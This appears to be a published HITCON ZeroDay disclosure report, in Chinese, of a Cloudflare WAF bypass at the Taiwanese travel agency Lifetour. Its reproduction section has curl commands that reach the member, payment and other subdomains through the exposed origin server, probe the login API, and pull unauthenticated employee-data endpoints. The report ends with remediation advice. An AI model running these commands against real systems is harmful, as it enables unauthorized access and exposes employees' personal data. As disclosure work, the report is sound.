Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00436
- Vendor: 五福旅行社股份有限公司
- Title: 五福旅遊 Cloudflare WAF 繞過:Origin Server 直接暴露,可存取支付系統、會員系統、B2B/B2E 等 10+ 個內部服務
- Introduction: 未設定來源 IP 限制,攻擊者可透過直接連線繞過所有 Cloudflare WAF 規則、速率限制及 DDoS 防護。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2026/03/27 17:45:42 : 新提交 (由 Marco 更新此狀態)
- 2026/03/30 00:42:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/04/09 18:11:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/04/09 18:11:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/04/09 18:11:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 03:00:22 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2026/05/27 17:48:17 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 17:49:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/06/10 09:24:31 : 已修補 (由 組織帳號 更新此狀態)
- 2026/06/10 09:25:31 : 已修補 (由 組織帳號 更新此狀態)
- 2026/06/10 09:25:38 : 已修補 (由 組織帳號 更新此狀態)
- 2026/06/10 09:25:41 : 已修補 (由 組織帳號 更新此狀態)
- 2026/06/10 09:25:45 : 已修補 (由 組織帳號 更新此狀態)
- 2026/06/10 09:26:34 : 已修補 (由 組織帳號 更新此狀態)
- 2026/06/10 09:26:38 : 已修補 (由 組織帳號 更新此狀態)
- 2026/06/11 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00436
- 通報者:mlgzackfly (Marco)
- 風險:高
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://[REDACTED]/ (Origin Server)
https://www.lifetour.com.tw/
payment.lifetour.com.tw (支付系統,僅 Origin IP 可存取)
敘述
漏洞描述
五福旅行社(Lifetour)為台灣知名旅行社,提供國內外旅遊、機票、訂房等服務,網站使用 Cloudflare 作為 CDN/WAF,但 Origin Server 的 F5 BigIP 負載平衡器未設定 IP 來源限制,接受任何來源的 HTTP 請求。攻擊者只需在 Host header 中指定正確的域名,即可繞過 Cloudflare 所有安全防護直接存取後端服務。
環境資訊
- 目標:lifetour.com.tw(五福旅遊)
- CDN/WAF:Cloudflare
- Origin Server:223...**(是方電訊 nginx)
- 技術棧:ASP.NET Core(會員系統、支付系統)、Vue.js(前端)、Apache/Tomcat(tourbuilder)
- 影響範圍:www、member、b2b、b2e、hotel、flights、package、ticket、domestic、payment 等 10+ 個子域名服務
重現漏洞方式
步驟一:確認 Cloudflare 正常防護
# 正常透過 Cloudflare 存取
$ curl -s "https://member.lifetour.com.tw/" -I | grep -E "^(Server|cf-)"
Server: cloudflare
cf-ray: xxxxxxx-TPE
回應包含 Cloudflare 標頭,表示所有流量經過 Cloudflare WAF 過濾。
步驟二:直接連線 Origin Server 繞過 Cloudflare
# 直接透過 Origin IP 存取,完全繞過 Cloudflare
$ curl -sk "https://[REDACTED]/" \
-H "Host: member.lifetour.com.tw" -I
HTTP/1.1 200 OK
# 無 Cloudflare 相關標頭
# 回傳完整的會員系統頁面:「會員專區 | 五福旅遊 Lifetour」
回應中不含任何 Cloudflare 標頭,確認請求直接由 Origin Server 處理。
步驟三:透過 WAF 繞過存取支付系統
# 重大發現:支付處理系統可透過 Origin IP 直接存取
$ curl -sk "https://[REDACTED]/" \
-H "Host: payment.lifetour.com.tw"
# HTTP 200 — 回傳 LifeTech.EC.Payment.Web 首頁
# <title>Home Page - LifeTech.EC.Payment.Web</title>
# ASP.NET Core 支付處理系統
# © 2024 - LifeTech.EC.Payment.Web
此支付系統(LifeTech.EC.Payment.Web)在正常 Cloudflare 路由下不可存取,僅能透過 Origin IP 繞過才能到達,代表其安全完全依賴 Cloudflare 的保護。
步驟四:繞過後存取會員 API
# 繞過 Cloudflare 存取登入端點
$ curl -sk -X POST "https://[REDACTED]/ShareMember/Login" \
-H "Host: member.lifetour.com.tw" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "Account=0912345678&password=test&Type=2"
# 回傳:{"Message":"密碼有誤","ResultType":2,"MemberInfo":null}
# 確認帳號存在且 API 正常處理請求
步驟五:驗證 10+ 個子域名服務均可繞過
# 會員系統
$ curl -sk "https://[REDACTED]/" -H "Host: member.lifetour.com.tw" -w "%{http_code}"
# → 200「會員專區 | 五福旅遊 Lifetour」
# 支付系統
$ curl -sk "https://[REDACTED]/" -H "Host: payment.lifetour.com.tw" -w "%{http_code}"
# → 200「Home Page - LifeTech.EC.Payment.Web」
# B2B 旅行社同業網
$ curl -sk "https://[REDACTED]/" -H "Host: b2b.lifetour.com.tw" -w "%{http_code}"
# → 200「五福旅遊同業網 Lifetour」
# 國際機票系統
$ curl -sk "https://[REDACTED]/" -H "Host: flights.lifetour.com.tw" -w "%{http_code}"
# → 200「國際機票-票價航班查詢、網路訂位 | 五福旅遊 Lifetour」
# 飯店訂房系統
$ curl -sk "https://[REDACTED]/" -H "Host: hotel.lifetour.com.tw" -w "%{http_code}"
# → 200
附圖為會員系統之截圖
未授權員工資料洩漏
透過 WAF bypass 存取 reports.lifetour.com.tw,發現內部抽獎/員工福利系統的 5 個 API 端點完全無需認證即回傳員工個人資料。
步驟七:存取 reports.lifetour.com.tw 員工資料
# 透過 Origin IP 存取內部報表系統
$ curl -sk -X POST "https://[REDACTED]/home/Lottery_ShowUserList" \
-H "Host: reports.lifetour.com.tw" \
-H "Content-Type: application/json" \
-H "Content-Length: 0" -d ''
所有可存取的未授權端點:
| 端點 | 回傳資料 | 紀錄數 |
|---|---|---|
POST /home/Lottery_ShowUserList |
員工姓名、編號、部門、工作地 | 351 名員工 |
POST /home/Prize_ShowUserList |
員工姓名、編號、部門、工作地 | 454 名員工 |
POST /home/Lottery_ShowAllList |
員工資料 + 得獎紀錄 | 351 筆 |
POST /home/Prize_ShowAllList |
員工資料 + 加碼得獎紀錄 | 82 筆 |
POST /home/Lottery_ShowAward |
獎品清單 | 獎品目錄 |
洩漏欄位:
EmployeeName— 員工姓名(部分遮蔽,如「劉O棻」)EmployeeID— 員工編號(4位數)DepNm— 完整部門名稱(含子部門)Workplace— 工作地代碼
163 個唯一部門名稱曝光,完整揭露公司組織架構。
影響
- 員工個資外洩 — 454+ 名員工的姓名、編號、部門資訊可被任何未授權使用者存取
- 完整組織架構曝光 — 163 個部門名稱揭露公司完整營運架構(機票產品部、會計部、資訊管理部等)
- 社交工程攻擊風險 — 員工編號 + 部門資訊可用於針對性釣魚攻擊
- 支付系統暴露 — payment.lifetour.com.tw(LifeTech.EC.Payment.Web)可透過 Origin IP 直接存取
- WAF 完全失效 — 所有 Cloudflare WAF 規則、自訂規則、Bot 偵測均可繞過
- 10+ 個服務全面暴露 — member、payment、reports、b2b、flights、hotel 等所有子域名服務均可繞過
- 暴力破解可行 — Cloudflare 的 IP-based rate limiting 完全無效
- tourbuilder 完全未保護 — Apache/Win64 + Tomcat 直接暴露於網路
修補建議
1. 立即為 reports.lifetour.com.tw 加入認證 — 所有員工資料端點必須要求登入驗證
2. 在 Origin Server 設定 IP 白名單 — 僅允許 Cloudflare IP 範圍(https://www.cloudflare.com/ips/)的連線
3. 啟用 Cloudflare Authenticated Origin Pulls — 使用 mutual TLS 確保只有 Cloudflare 可以連線至 Origin
4. 移除 CSP header 中的內部 IP — 將 172.16.98.81:15871 從 Content-Security-Policy 移除
5. 在後端 API 加入獨立的速率限制 — 不依賴 Cloudflare,在 ASP.NET 應用層實作 rate limiting
6. 加入 CSRF 保護 — 對所有 state-changing API 端點實作 CSRF Token 驗證